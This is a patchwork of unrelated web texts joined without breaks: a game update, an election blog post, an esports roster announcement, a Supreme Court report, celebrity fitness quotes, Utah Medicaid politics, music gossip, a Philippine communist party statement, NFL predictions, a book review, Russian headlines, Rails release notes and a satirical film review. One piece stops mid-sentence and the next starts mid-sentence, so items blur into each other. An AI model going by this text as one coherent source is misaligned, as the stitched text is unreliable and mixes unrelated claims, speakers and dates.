The Terran Republic technical reports are stating that the Phantasm and Gunship certifications can be purchased at local certification terminals however both vehicles are currently being manufactured and there it’s been found that some of the supply has gone unaccounted for. As of this report the supply will not meet demands but we have word that the vehicles will available for acquisition within the next week. View Promotional Videos here: They are near - 7/30/2007 They are coming - 7/23/2007 Update 3.12.28 is coming The long whispered Phantasm
The long awaited Galaxy Gunship
Lattice shakeup to new Home Continents
And other surprisesObama won! I’m breathing a sigh of relief, and crying because I’ve been so afraid of a Romney presidency for so long.
In other delightful, glorious election news,
Todd “Legitimate Rape” Akin lost his race to “unladylike” Claire McCaskill.
Richard Mourdock, who believes that rape babies are gifts from God, also lost his race.
Overall, a record number of women won their races, the Republicans learned that rape is really not a viable campaign strategy, young people increased turnout, and the Republican party is starting to come to grips with the fact that they need to appeal to Hispanic voters. Medical marijuana ballot initiatives passed in several states, as did marriage equality. In short, many progressive initiatives passed in the ballots, meaning that the country is becoming more liberal again.
Unfortunately, this guy, won his re-election campaign. You can’t win them all.
For my non-US readers, thank you for letting me celebrate. I promise back to regular blogging tomorrow.
Any other important election updates I forgot, let me know in the comments.
Related articles
AdvertisementsTeam Dignitas announces a new elite CS:GO lineup in addition to the all-female CS:GO team announced on March 1st. Following the departure of our all-Danish lineup in December, we explored all possible options for a suitable replacement. The answer came from a European all-star lineup featuring five extremely talented and veteran players.
We welcome Faruk "Pita" Pita as in-game leader of our new lineup. Pita has been playing competitively since 2008 and for the last two years he has been coaching teams like NiP and CLG in several major tournaments. He is now returning to an active player role in our team, acting as main shotcaller and rifle player.
Pita is joined by three former FaZe players; Swedish player Mikail "Maikelele" Bill, Ricardo "fox" Pacheco from Portugal and Joakim "jkaem" Myrbostad from Norway. All three players were part of the core FaZe lineup early 2016 and bring great synergy to the team. Maikelele is picking up the main AWP role for the team with Fox acting as secondary AWP and rifle player. Jkaem is taking on the role of support rifler.
Last but not least, we welcome back Ruben "RUBINO" Villarroel who represented us throughout 2016. RUBINO played a vital role in obtaining several of our tournament titles in 2016, such as our first place finish at Dreamhack Tours and EPICENTER in Moscow. He finalizes our lineup as entryfragger for the team.
We’re confident that this lineup is able to represent us at the highest level of competition in CSGO, starting with the Esports Championship Series (ECS) season 3. The team will continue to compete based in Europe.
"Team Dignitas is a powerhouse brand, now strengthened by the backing of the Philadelphia 76ers; we are extremely proud to represent their colors,” said Ricardo “fox” Pacheco, Captain of Team Dignitas CS:GO. “We are eager to begin practicing with this new lineup, we’ve all known each other a long time and believe we will have good synergy. Through hard work and preparation we will do our best to live up to the expectations of our fans and become a top, international team. We have the most supportive fans in professional gaming and we know they will be excited about this new line-up.”
Follow the team on social media:
http://twitter.com/rubinoeu
http://twitter.com/Maikelele
http://twitter.com/foxgringoCS
http://twitter.com/pitacsgo
http://twitter.com/jkaemGOThe Supreme Court ruled Monday that states can't exclude religious organizations when distributing grant funding for state programs when the money is for a nonreligious purpose.
In a 7-2 ruling, the court sided with Trinity Lutheran Church in the case challenging Missouri's decision to bar it from receiving funds in a state program that reimburses nonprofits for resurfacing their playgrounds with recycled rubber tires.
Justice Sonia Sotomayor read a fiery dissent, which was also signed by Justice Ruth Bader Ginsburg, from the bench.
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Though Trinity operates a preschool and day care center on its property, the Missouri Department of Natural Resources said the state constitution prohibits it from using public funds to support a church.
The court said the state's policy violated the rights of Trinity Lutheran under the First Amendment's Free Exercise Clause by denying the church an otherwise available public benefit on account of its religious status.
“The free Exercise Clause ‘protects religious observers against unequal treatment’ and subjects to the strictest scrutiny laws that target the religious for ‘special disabilities’ based on their religious status,” Chief Justice John Roberts wrote in delivering the opinion of the court.
“Apply that basic principle, this court has repeatedly confirmed that denying a generally available benefit solely on account of religious identity imposes a penalty on the free exercise of religion that cant be justified only be a state interest ‘of the highest order.’”
In her dissent, Sotomayor said the court's decision "profoundly changes" the relationship between church and state by holding for the the first time that the Constitution requires the government to provide public funds directly to a church.
"Its decision slights both our precedents and out history, and its reasoning weakens this country's longstanding commitment to a separation of church and state beneficial to both," she said.
—Updated at 11:53 a.m.Eyewitness to History: The Cult’s Billy Duffy Recounts the Making of the “She Sells Sanctuary” Video
A million years ago, I had a chance to interview the members of Big Country. One of the most surprising things to emerge from that talk was hearing that Mark Brzezicki, the band’s drummer, is the guy we see on the skins in the Cult’s “She Sells Sanctuary” video.
This was curious, but with Big Country in to talk about their current album and tour, this was not the time to talk about such things, so I had to let it go.
Years later, I had |
, a condition known as sarcopenia, the rate is quite small, less than 1 percent per year," says David Kingsbury, who has trained Hugh Jackman for the past five years, including getting him prepped for Logan. "Age is often given as an excuse, but a fit 65-year-old can easily outperform a lazy 25-year-old."
Stahelski says the biggest difference between a 25-year-old and a 45-year-old is recovery time. "The 25-year-old will recoup faster, so you can push him harder; your training arc becomes shorter." Paul Vincent, M.S., co-founder of Santa Monica's Altus Health, which has trained the stars of several Mission: Impossible, Star Trek and Star Wars films says older clients "have to regain function of their joints with low-impact exercises, stretching, cold therapy and deep-tissue massage guns, then I can load them in the same way as a 20-year-old." (Substances like growth hormone may also help, says Peterson: "Is there steroid use in Hollywood? Just by sheer numbers, my bet would be yes. Everyone is looking for an edge.")
It can also bring stubbornness. "The [older] guys can be set in their ways, thinking the way they've always trained is the right way," says Vincent, "so new stuff takes a bit of adapting." According to Luke Zocchi, who trains the relatively spry Chris Hemsworth, 33, "the younger guys are into more [diverse] training using gymnastics, calisthenics, rings and battle ropes, which give you that athletic look as opposed to looking like a body builder." Netflix's Iron Fist star Finn Jones, 29, agrees. "I didn't want to be this hulk-like slab of muscle. I wanted to be toned and healthy, but still agile and nimble."
Why does it seem as if some older stars get bulkier with every sequel? Stuntman and trainer Duffy Gaver says that physiologically, it's only natural, and that "a simple way for any man in his 40s or 50s to look healthier is to carry a bit more muscle mass." And maturity has some advantages in the battle of the bulk, says Stahelski, noting it can bring "dedication, fortitude — and the will to stay on the diet."
A version of this story first appeared in the Aug. 9 issue of The Hollywood Reporter magazine. To receive the magazine, click here to subscribe.Legislative Republicans Again Can't Find a Solution for Medicaid Expansion
As expected, no Medicaid expansion for Utah – at least not now.
Utah House Republicans came out of a four-hour closed-door meeting Tuesday night to say they don’t have the votes for the latest idea: Utah Access Plus.
In fact, House Speaker Greg Hughes, R-Draper, said out of the 63 House Republicans only seven – including himself and Majority Leader Jim Dunnigan, R-Taylorsville, voted for the plan put together by the so-called Gang of Six.
Meanwhile, Senate President Wayne Niederhauser, R-Sandy, told UtahPolicy Tuesday evening that he polled all 29 Senate members – Republicans and Democrats – and there aren’t 15 votes for UAP. He declined to give specific numbers.
To say this plan – pushed by the Gov. Gary Herbert-led GOP leaders in the House and Senate – fell flat is an understatement.
Hughes, in a night press conference, and Niederhauser, in his UtahPolicy interview, said it is back to the drawing board.
There won’t be a special session for Medicaid expansion this fall, said Niederhauser. Hughes agreed, adding however, “there is the political will” in the House GOP caucus to “help the needy.”
And sometime, someway, providing health insurance/care for the 31,000 low-income Utahns without coverage today will be accomplished.
But neither Hughes nor Niederhauser could say how that would be done exactly.
And the issue will fall to January’s 2016 general session – a default fallback proposal UtahPolicy reported during this past summer.
Hughes says House Republicans have been so beaten up over Medicaid expansion over the last six months, he doesn’t think the added heat of an election year for the governor, all the 75-member House and half of the 29-member Senate will make much difference in the 2016 Legislature.
Niederhauser admitted that some folks are talking about a small sales tax increase to come up with the state’s share of the estimated $50 million a year expanding Medicaid under Obamacare would cost the state.
Under the gang’s Utah Access Plus – which turned out to be a political disaster on Capitol Hill – 16 different categories of health care professionals/industries would have picked up the state’s $50 million share.
And the health care industry would have taken on – through a complicated annually-adjusted formula – any Medicaid expansion cost increases.
It is that financial risk – which the House Republicans don’t want taxpayer on the hook for – Hughes believes sunk Utah Access Plus with the health care community.
Who in turn smashed House and Senate Republicans with massive lobbying.
Last December, noted Hughes, the same health care industry leaders who killed this month Utah Access Plus went on the record in favor of Herbert’s Healthy Utah.
HU put the financial risk of Medicaid expansion on Utah taxpayers. And the health care industry folks were just fine for that, noted Hughes.
But ask them to pay 7 cents on the dollar of new health care reimbursements under Obamacare -- and take on the state’s financial risk – and all of a sudden they turned, killing Utah Access Plus.
So, even if there are hard feelings or not among House leaders and the House GOP caucus, Medicaid expansion is not dead.
It’s just not feeling very well.
House Majority Whip Frances Gibson, R-Mapleton, who works in the health care industry, said he voted no on UAP during Tuesday night’s closed caucus.
So even House leadership couldn’t agree on UAP.
Gibson said there is a way forward, although it may not be acceptable to the same folks who helped kill UAP.
Utah would develop its own plan to take care of the 31,000 low-income folks who don’t have health insurance now and fall between 0 percent and 100 percent of the federal poverty level.
Those between 100 percent and 138 percent could qualify for some other health insurance subsidies and could also be helped by the state.
That plan would have enrollment caps and other safeguards so the state’s General Fund – basically the state sales tax receipts – would not be at risk from Obamacare-like Medicaid expansion growth.
That, however, sounds very much like Utah Cares – the 2015 House GOP caucus’s plan much criticized in the media and opposed by Herbert and Republicans in the state Senate. Herbert’s Healthy Utah and Utah Cares both died at the end of the 2015 Legislature, leaving the state with no Medicaid expansion.
Hughes said his caucus did not discuss a general tax hike for Medicaid expansion.
Such a tax hike “is not an October idea,” said Hughes, and would have to wait for the 2016 Legislature.
Niederhauser said he’s heard of increasing the state sales tax by a mere one-eighth of 1 percent, which would bring in around $50 million a year, or the amount of the state’s share of Obamacare Medicaid expansion.
But Niederhauser said he can’t tell if that would have support in the Senate.
Hughes said the Utah Hospital Association last December was talking about kicking in $25 million a year toward the state’s share of expansion, since hospitals would see the most from the $450 million Medicaid expansion would bring into the state each year.
Utah hospitals are eating hundreds of millions of dollars a year (or passing it along to patients/insurance companies who can pay) in uncompensated care – much of it from their emergency rooms which under federal law must treat all injured or ill person regardless of whether they can pay or not.
“We are having two different discussions,” summarized Hughes.
If Utah finds a way to provide care to the needy without Obamacare’s $450 million a year, then there are those (Herbert among them) who complain the state is turning away federal money.
Or if people talk about money, then lawmakers are criticized for not caring about the truly needy.
GOP House members are in a box.
There needs to be a way out of that box.
And maybe over the next few months – Hughes says House Republicans are committed to find a way – another kind of compromise can be found.
Hughes said he was looking at the UAP defeat as a glass half-full – for the work of helping the needy will go forward.
But for now it has to look like House Republicans are gazing as through a glass darkly.
And Medicaid expansion in Utah remains a real political albatross.PULLMAN – Washington State’s administration affirmed its support for the university’s student conduct process on Friday, while at the same time hiring independent counsel to formally review conduct board processes, specifically with regard to issues of discrimination and bias.
According to WSU Vice President of Student Affairs Melynda Huskey, attorney Marc Lyons, a partner in the firm Lyons and O’Dowd, will begin the review next week. The review is expected to conclude within 60 days.
The review and affirmation of support come in the wake of a recent controversy surrounding the student conduct board’s expulsion of WSU football player Robert Barber. The student conduct board, which does not have the investigative powers of a criminal court, expelled Barber from school while the Pullman Police Department was investigating his role in a fight at an off-campus party.
SEE ALSO: Questions and accusations swirl in WSU football program as felony arrests mount
An appeals board subsequently reduced Barber’s punishment to a suspension, one that will cause him to miss the rest of the current football season. The Whitman County prosecutor’s office is still reviewing whether or not to press charges against Barber.
According to a Seattle Times report earlier this week, Asian-Pacific Islander advocacy groups on campus met with WSU president Kirk Schulz, expressing concern that Barber, who is from American Samoa, may have been racially profiled and treated unfairly.
Huskey expressed confidence that the school’s student conduct procedures are not discriminatory.
“Many people don’t realize that ours is a very diverse community and both our Student Conduct Board and our Appeals Board reflect that diversity,” Huskey said. “Cultural competency is required training for all board members and I can tell you categorically that fairness and equity are core values among all who serve on the boards.”
Critics of WSU’s student conduct process note that advisers such as attorneys are not allowed to speak or cross-examine during hearings. Additionally, when considering guilt the board uses a “preponderance of evidence” standard, which is more likely to result in a guilty verdict than the “beyond reasonable doubt” standard used in criminal proceedings.Ex-Oasis singer says his kids are fans of the US rapper
Liam Gallagher mistakenly referred to A$AP Rocky as ‘WhatsApp Ricky’ during a recent interview.
The former Oasis frontman appears on the cover of the latest issue of GQ. In the feature, Liam discussed his kids’ music tastes.
“My kids fucking love grime music,” he said. “Stormzy, Skepta – he seems pretty mad. I like him.”
Gallagher continued: “They also like that bloke, WhatsApp Ricky. You know, the American geezer, stylish, funny, gold teeth.”
When the journalist corrected him and asked if he meant A$AP Rocky, Liam replied: “Oh yeah, that’s the fella. WhatsApp Ricky. That’s a better fucking name anyway.”
Elsewhere in the interview, Liam Gallagher said that he wouldn’t do ‘Carpool Karaoke’ because James Corden is a “knobhead”.
Gallagher is preparing to release his debut solo album ‘As You Were’ in October.
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Liam recently apologised to fans after vocal problems caused him to end his Lollapalooza set after only 20 minutes.
The singer walked off stage in Chicago after only three songs – having opened with Oasis hits ‘Rock ‘n’ Roll Star’ and ‘Morning Glory’, before airing new solo tracks ‘Wall of Glass’ and ‘Greedy Soul’.
Posting on Twitter almost immediately afterwards, he explained that he cut the hour long set short because his voice was “fucked”.
“Sorry to the people who turned up for the gig in Chicago lollapalooza had a difficult gig last night which fucked my voice. I’m gutted LG”, he wrote.The Information Bureau of the Communist Party of the Philippines has published a Facebook Note declaring that the Duterte regime is “not at all interested” in pushing the agenda of the of peace negotiations with the National Democratic Front of the Philippines.
“His declaration of refusal to continue talks with the NDFP comes amid accelerated efforts of his officials and loyalists to set the stage for nationwide martial law which will further aggravate the campaign of murder and brutalities under his strongman rule,” CPP said in the published Note.
See: Duterte ending peace talks amid setting stage for nationwide martial law
NDFP said Duterte only wants to use the talks “to compel the revolutionary forces to sign a premature bilateral cease fire to silence the weapons of the NPA and prevent the people from resisting the GRP’s all-out war.”
“Contrary to earlier claims that the martial law declaration is not aimed against the NPA, the AFP has carried out intensified large-scale offensives against the NPA over nearly two months, which has compelled the people’s army to carry out armed counteractions to defend itself and the people,” CPP said, adding that the AFP and its paramilitaries have also intensified its armed attacks against the unarmed people in Mindanao and elsewhere. “Upon orders of Duterte, aerial bombardments have been carried out against communities in North Cotabato, Bukidnon, Davao del Sur, Davao City, Agusan del Norte and Surigao del Norte which the AFP suspect the people to be supportive of the NPA.”
Over the past 50 days, CPP further elaborates, “the AFP has forced at least one hundred people a day to leave their homes out of fear. In Mindanao, more than 5,000 civilians are now staying in evacuation centers (not counting those displaced from Marawi). School children and teachers in self-organized community schools in Surigao del Sur and Davao del Norte have been subjected to murder threats and harassments.”
Setting the stage
“After the two-month trial balloon of the Mindanao martial law, the mind-conditioning apparatus of the ruling regime is now working double-time to lay down the legal and political justification for the extension of Duterte’s strongman rule. Duterte has exercised economic and political bribery and arm-twisting combined with threats of murder against anyone who stands in his way.
“After initial ambivalence, the US has now declared its unequivocal support for Duterte’s AFP siege against Marawi under martial law declaration in Mindanao. This is Duterte’s reward for complete concurrence with the US ‘war against terror’ doctrine and allowing full-play to US military presence and interventionism.
“In its July 4 decision, the Supreme Court not only gave its imprimatur to Duterte’s declaration of martial law in Mindanao, but laid out as well the legal basis for the imposition of martial law nationwide, granting him the complete prerogative to do so. This was a despicable display of legal obsequiousness to the strongman who has habitually flaunted the law with impunity.
“One after another, local government officials are expressing support for martial law, ever conscious of the fact that the incoming secretary of the DILG is the current AFP chief. To ensure further control of local government units, the national police has stripped local officials in Lanao del Sur of powers to command the local police.
“Across Mindanao, as well as in the Visayas and Luzon provinces, hundreds of so-called ‘peace and development teams’ of the AFP continue to usurp civilian authority and turn schools, barangay halls and other civilian structures into military barracks. They maintain their oppressive presence smack in the middle of communities, subjecting civilian residents to constant harassment.”
To justify martial law in Mindanao, CPP said, “Duterte contrived a demon in what he claims was a rebellion by the ‘Maute-ISIS’ group without even offering clear and solid evidence. To justify imposing martial law nationwide, he will have to come up with a bigger demon.”Continuing the "firehose" tradition of maximum information density, Xiph.Org's second video on digital media explores multiple facets of digital audio signals and how they really behave in the real world.
Demonstrations of sampling, quantization, bit-depth, and dither explore digital audio behavior on real audio equipment using both modern digital analysis and vintage analog bench equipment... just in case we can't trust those newfangled digital gizmos. You can also download the source code for each demo and try it all for yourself!
Like the previous episode, this video moves fast and only glances on a number of rather important topics, so we've set up a Wiki to get more information, ask questions, and debate.
Download this video!
Download subtitles
is distributed under a Creative Commons Attribution-ShareAlike (BY-SA) license.
We welcome good, technical translations from the community! Please submit translations in SRT, VTT or Ogg Kate format to video@xiph.org.2 of 15
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B/R Consensus Pick: Redskins (12-0)
Schottey: Redskins, 26-16
The Vikings put up a valiant effort in Week 9, but RGIII is looking better and better every game and that Minnesota D is still full of question marks it didn't have in 2012.
Bowen: Redskins, 23-16
RG3 can target and exploit the Vikings secondary off the read-option. Look for tight end Jordan Reed to put up some numbers on Thursday night.
Schalter: Redskins, 35-33
It's tough to get a read on either of these teams lately, and both defenses are giving up points in bunches. I think RG3 and his wideouts get more points than All Day.
Freeman: Redskins, 20-10
I think AP goes off and the Vikings still lose because of Ponder.
Miller: Redskins, 21-13
The Vikings can't find a reliable quarterback, and even against the bad Washington secondary the offense will be handcuffed.
Frenz: Redskins, 23-14
If a 140-yard performance from Adrian Peterson wasn't enough to get the Vikings a win against the Cowboys, they may not win more than one game this year. The Redskins offense has put up 30 points or more in two of its past three games.
Hangst: Redskins, 21-13
The Redskins have struggled on defense all year, but luckily for them, they next face the Vikings. The Vikings have little offense to speak of aside from Adrian Peterson, while the quarterback carousel has spun back to the mostly disappointing Christian Ponder for the time being. Washington should be able to move the ball well and score more than enough points to get a road win Thursday night.
Hansen: Redskins, 27-17
Washington has been playing better and can get back into the NFC East race with a road win. It's a lot easier to trust RG3 than any of the quarterbacks the Vikings can throw out there.
Bardeen: Redskins, 24-13
This could be a get-back-on-track game for RG3 and Washington's offense. Alfred Morris is good enough to gain yards on the ground against a better-than-most Vikings run defense, and RG3 should have no trouble throwing the football.
Gagnon: Redskins, 24-13
I don't know how the Vikings hung around as long as they did in Dallas, but the Redskins are worse than the Cowboys and this is in Minnesota. I still think the 'Skins pull it out because I'm not sure the Vikes can do enough to take advantage of that defense, but this game should be competitive for its duration.
Langland: Redskins, 21-17
Christian Ponder hasn't been able to rejuvenate the Vikings offense, and Adrian Peterson has been stuck in a rut. RG3 will lead Washington to a victory on the road.
Kruse: Redskins, 30-24
On a short week, the Redskins could hurt Minnesota with some big plays off the read-option. I think Christian Ponder continues to settle in, but there's no trusting the Vikings defense late in games.Crowds dressed as famed revolutionary Emiliano Zapata and Lucha Libre wrestlers cheered from Mexico City's central Zocalo Square as President Enrique Peña Nieto performed the ceremonial El Grito de Dolores "the cry of independence" from the balcony of the National Palace. Meanwhile, lines of police battled to keep protesters calling for his resignation out of the square.
Several thousand protesters marched towards the Zocalo (main square) where they hoped to disrupt the traditional cry of independence. One demonstrator told Reuters: "It's also a time to yell "out with Peña" because it's a terrible government, inept, we should not have to prop him up."
Many carried signs calling for his resignation, while others bore a giant Mexican flag, drained of its colour and featuring a dead eagle.
The protest came shortly after Peña Nieto was widely criticised for hosting Republican presidential candidate Donald Trump. The New York businessman has repeatedly vowed to build a border wall which, he says, Mexico would have to pay for. Peña Nieto's critics accuse the leader of not pressing Mexico's interests during the encounter.
The police successfully kept the protesters out of the square, and the ceremony went ahead. The president waved the red, white and green national flag, while his wife, former model and actress Angélica Rivera, waved to the crowds. The Daily Telegraph reported a protester's claims that "the people who will be cheering are bussed in from other states. They're poor and are offered a free trip to the capital, a big great show. So they come."
With economic growth in Mexico sluggish and previous corruption scandals involving the purchase of a home by the First Lady from a government contractor and the suspected massacre of 43 students, there is widespread discontent with the Mexican president.Last First Snow is the fourth in Max Gladstone’s “Craft Sequence” novels. (In internal chronological order, it’s first: Gladstone has taken an unusual approach to numbering his novels. It’s not nearly as brain-bending as it sounds, because so far all the novels including this one stand alone perfectly well.) And it’s a great book.
It takes place some twenty years before Two Serpents Rise, and some four decades after the God Wars. In the city of Dresediel Lex, the King in Red and a consortium of investors have plans to redevelop an impoverished area of the city: the Skittersill, an area whose wards were laid down by gods, not practitioners of Craft. They are opposed in this by an alliance of locals and community leaders, of whom the most influential is Temoc: a former Eagle Knight and one of the last remaining priests of the old order, and a veteran of the God Wars who is now striving for a peaceful future for his people—including his wife and son. Before civic protest degenerates into civil unrest, Elayne Kevarian, associate in the Craft firm of Kelethras, Albrecht, and Ao—and retained by Dresediel Lex’s present powers-that-be to bring the Skittersill project to a workable conclusion—attempts to facilitate a negotiated solution to the stand-off between community and capital.
Elayne is old war buddies with powers and princes: she fought in the God Wars herself, and won something of a reputation. (Although Last First Snow is quite deliberate in its refusal to cast any of its principals as a war hero, past or present.) She knows Temoc of old. Their paths crossed on the battlefield, and again at the very end of the war. They respect each other, and more than that, Elayne’s sympathies are engaged by the people of the Skittersill.
(Warning: major spoilers for the plot are whited out below. Also note that the comments may contain additional spoilers.)
The parties are on the verge of accepting a negotiated settlement that doesn’t make anyone too unhappy when an assassination attempt touches off a riot: a cop kills a kid, and the crowd wants justice while the King in Red wants order. A peaceful protest turns into an armed stand-off, and open war breaks out on the city streets. Temoc cannot maintain his life as a man of peace. Elayne can only barely ameliorate the firestorm: she is constrained by her Craft, and her agreement with the King in Red.
And when poorly-armed protestors go up against power, poorly-armed protestors lose—badly.
This is a novel that takes mass protest and community organising and throws them into a universe where gods feed on human sacrifice and CEOs can deploy fiery death for crowd control: Elizabeth Bear has referred to it as “fantasy as a metaphor for the metastatic flower of late-stage capitalism” and there really is no better description. This is an intense book—Gladstone can make even meetings and negotiations nail-biting, to say nothing of chase scenes and battles and magical showdowns and emotional family confrontations—and one that is full of feeling.
Last First Snow is also an intensely political book: it is, after all, about community and civic politics, at least before everything turns to bloodshed. But its political arguments go more than skin deep. Its central concern is an argument between past and present, an age of gods and an age of commerce, between—if you like—”conservativism” and “progress.” One in which there are no right answers and certainly no easy answers. Just people, in all their humanity, complete with doubts and flawed certainties, shaped by history. Gladstone forces us to understand the King in Red, even as we despise him for his choices, and requires us to extend the same empathy to all of Last First Snow‘s characters, even the minor ones. They’re complicated, compelling, human, and very flawed—and at times, magnificent. Temoc’s relationship with his family, the way in which he is caught between the future he wants for them and the forces that shaped him into a priest and a warrior, is fraught and complex and understandable.
And Elayne Kevarian. Elayne is one of the delights of Gladstone’s oeuvre so far, playing important secondary roles in Three Parts Dead and Full Fathom Five. The childless older career woman, her skills sharp, her ruthlessness honed, makes frequent appearances in fiction and media. She’s almost always portrayed as a villain, or at least an antagonist. One of the many delightful things about Three Parts Dead was how Gladstone undermined this standard trope: Elayne has her own sense of ethics and her own agenda, and damn little tolerance for fools, but she’s not a villain. (In part this is because Gladstone doesn’t really run to either villains or heroes: his characters are more complicated than that.) In Last First Snow we see Elayne from her own perspective. She’s a fascinating character, and in her own way both admirable and honourable.
In his Craft sequence, Gladstone is writing a fantasy of modernity, deeply engaged with the issues of our time: the power of capital, the potential tyranny of corporations, the value of the individual, the tension between romanticised pasts and lived-in presents, and the aftermaths of conflict. Last First Snow epitomises his approach. It’s the kind of book that inclines me to use phrases like tour de force.
Max Gladstone just keeps getting better. It doesn’t quite seem fair. If you’re not reading his Craft sequence? Start.
Read Last First Snow. Seriously. Read it.
Last First Snow is available now from Tor Books.
Read the first chapter here on Tor.com, as well as a bonus excerpt.
Liz Bourke is a cranky person who reads books. Her blog. Her Twitter.| February, 2019 | Sun Mon Tue Wed Thu Fri Sat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
February 27, 2019
Russia political and economic calendar: February 27
February 26, 2019
Over 25% of residents emigrated from Georgia in past 15 years - research
Russian Navy continuously tracking U.S. destroyer that entered Baltic Sea - Russian Defense Ministry (Part 2)
Soyuz LV carrying first 6 OneWeb sats approved for flight - Arianespace CEO
U.S. to strengthen anti-Russian sanctions until Crimea returned to Ukraine - Volker
Govt compels global satellite providers to pass subscriber traffic in Russia through Russian gateway stations
Russian Navy continuously tracking U.S. destroyer that entered Baltic Sea - Russian Defense Ministry
Moscow, Havana say external interference with Venezuelan affairs unacceptable - Russian Foreign Ministry (Part 2)
Russia to reckon risks of imported engines for MC-21 aircraft - Borisov
Dodon suggests providing his administration as venue for talks on 'legitimate configuration' of Moldovan parliament, future govt
President expands authority of Far East Development Ministry to Arctic
Kurdish reps must take part in shaping Syria's future - Bogdanov
Russian stock market declines on losses for global markets restrained by resurgent oil prices
Criminal inquiry launched against FBK ex-director due to denial to delete video following Usmanov's lawsuit - Navalny
Tymoshenko says plans to start impeachment process against Poroshenko (Part 2)
Ruble accelerate declines against dollar, euro slightly on Tuesday evening
Russian Eurobonds grind to halt on Tuesday as situation in global markets deteriorates
Main indexes of the Russia stock market for February 26
Aggregated results for trading of shares in Moscow Exchange
Ukrainian school students to learn creation of Orthodox Church of Ukraine, granting of Tomos - Education, Science Ministry
Uzbek president, U.S. diplomat discuss expansion of cooperation, Afghan settlement
Moscow, Havana say external interference with Venezuelan affairs unacceptable - Russian Foreign Ministry
Capitalization of Russian stock market decreases 0,32% on Tuesday
Russian Orthodox Church Synod calls on Ukrainian govt to cease persecution of canonical church's followers
Ex-FSB senior official Mikhailov, ex-Kaspersky Lab employee Stoyanov get 22, 14 years in jail for treason (Part 2)
Daily Headline News for February 26, 2019
Investment decision on Arctic Palladium project could be made by end of 2019 after feasibility study - NornickelAaron Patterson showed us some tenderlove this week by releasing Rails 3.0.5. Have a peek at what got updated.
Bugs Fixed
Fix when gzip returns a UTF -8 string on Ruby 1.9, when it is actually binary. commit
Active Record limit values will not escape Arel SQL Literal nodes. commit
Relation#where calls will always produce AND statements regardless of how conditions hashes behaves (reverting 00693209ecc).
Observer callbacks will only be executed once when using STI classes in ActiveRecord. commit
Deprecations Added:
Deprecate Relation#& alias for Relation#merge. commit
Deprecated support for interpolated association conditions with the
:conditions => ‘foo = #{bar}’ syntax, and added the new interpolation syntax
which is :conditions => proc { “foo = #{bar}” }. commit
This is not a complete list of changes. The complete list of changes can be
found here
SHA1 Checksums:
actionmailer-3.0.5.gem b25750c8126aa21db27d7b0ee829b2e94e525ebc
actionpack-3.0.5.gem 0a6f7f9ac2960ff224c913877a2917e1bea80df3
activemodel-3.0.5.gem 1556900a7afa1cdcdf4641edbcdd2c24f98bb2de
activerecord-3.0.5.gem 33dd05d7362931564f6f15ea7130cc27a5fc09e8
activeresource-3.0.5.gem 758f893cbb7ef945c857bf4ca044b94017bdc437
activesupport-3.0.5.gem 195fa3f7fa044134703a655cdb906edb515286c4
rails-3.0.5.gem 32322bf9952d76c5fa0054c8533c0c58609f40aaIn this talk, you’ll learn what it takes to be happy. Damien Diecke shows that “getting stuff” is the long and unstable way to happiness, and shares the direct, efficient and effective way to you achieving sustainable happiness that lasts.
In this video, you’ll learn:
How pursuit, not pleasure is the key to your happiness.
What you can learn from the happiest people ever recorded.
The practical steps to happiness you can start to use today.
About the speaker Damien Diecke:
Damien has been a prominent figure in the Australian personal development industry for over 5 years. He is extremely passionate about coaching and he consistently demonstrates this passion through the amount of energy he delivers to all of his clients. It is Damien’s mission to build the self esteem of both men and women around the world and enable them both to become comfortable and happy with themselves and to move towards their goals and dreams with passion and excitement.
Damien regularly runs corporate functions, directs sales trainings, teaches networking and presentation skills and performs many other corporate seminars, training and coaching. Damien is also a leader in the relationship industry and hosts regular seminars, writes well received articles and provides coaching for both men and women wanting to enhance their romantic lives. Damien has also worked at a number of prominent private and public high schools teaching self-esteem and self-confidence to the students.This week, I’m reviewing “Paintings of Cole,” which I didn’t like, because the press screening was all the way uptown, and there were huge delays on the J train.
The movie, which was written and directed by Steven Kern, who also stars, tells the story of a young man named Cole, who is tasked with bringing down the Italian Mob. Cole uses his paintings to send secret messages to the police, which pisses me off, because in grad school I wrote a short story with basically that exact idea. And I failed the grad-school class, but Mr. Kern is getting early Oscar buzz. Justice? Not in this life.
Before the film started, the studio girl who set up the screening smiled at me and thanked me for coming. She told me her name, but I wasn’t paying attention, because I was trying to work out whether sleeping with her would be a conflict of interest. I think her name started with an “R,” though. Rebecca? Rachel? Or it could have been something weird. Reba? Are people still named Reba?
In the movie, Cole, a happily married father of two, is an abstract painter, which raises the question: How can he afford a brownstone in the West Village? I’ve been writing movie reviews for a blog that attracts more than eight hundred and forty-five unique views a month, and I live in the kind of housing complex that rappers brag about escaping.
Cole’s wife is played by the supermodel turned actress Stephanie Anderson, who looks kind of like Jenny Kramer, a girl who was nice to me in middle school, and whom I probably could have dated if she hadn’t transferred high schools. I wonder what Jenny’s doing right now. She’s probably wondering what I’m doing. Funny.
Anyway, Cole witnesses a murder and is pursued by members of the Mafia, who start buying his art. I couldn’t figure out if they were buying his paintings to see if they somehow revealed who the murderer was, or if they were buying his paintings to get close to him, so that they could kill him. This confusion could have been the fault of Kern’s screenplay, or it could have issued from my sneaking out of the screening room to pee during an important scene.
When I got back from the bathroom, I asked the critic next to me (from the Times) why the Mob was pursuing Cole, and he whispered that it was the same reason “the French colonel pursued normalcy in Buñuel’s ‘The Discreet Charm of the Bourgeoisie.’ ” No help there. Pretentious jerk.
I thought about asking Reba, or Raquel, but I didn’t want her to think that I hadn’t been paying attention.
And the Times critic seemed to love the movie, which is no surprise, because the Times loves everything. Well, everything except me. I went in for an interview three years ago, with a résumé and a packet of my reviews, and they rejected me. But the joke’s on them, because I cancelled my subscription, and now I use my friend’s password to break through their paywall.
The standout performance was by Peter Jaworski, who played the Mob boss’s son, Sonny. Sonny is a ladies’ man, even though Jaworski is at least two or three inches shorter than I am. Kudos to you, Mr. Kern, for your casting choice. If a shrimp like Jaworski can sleep with Stephanie Anderson, then I could certainly date a little studio intern like Ramona. Or was it Rosalind?
After the screening, I approached the studio girl and said, “Hey there, Rhonda, how about you and I make some abstract art of our own?” She gave me a look that simultaneously said, “You’re a disgusting person” and “My name is not Rhonda, or anything remotely similar to Rhonda.” And, with that, my already bad day was ruined.
In sum, these are the main problems with “Paintings of Cole”: it was inconveniently shown on the Upper West Side, written by a guy I envy, screened by a cute intern whose name was too confusing to remember, based on an idea that I poorly executed in grad school, and praised by the Times, which rejected me.
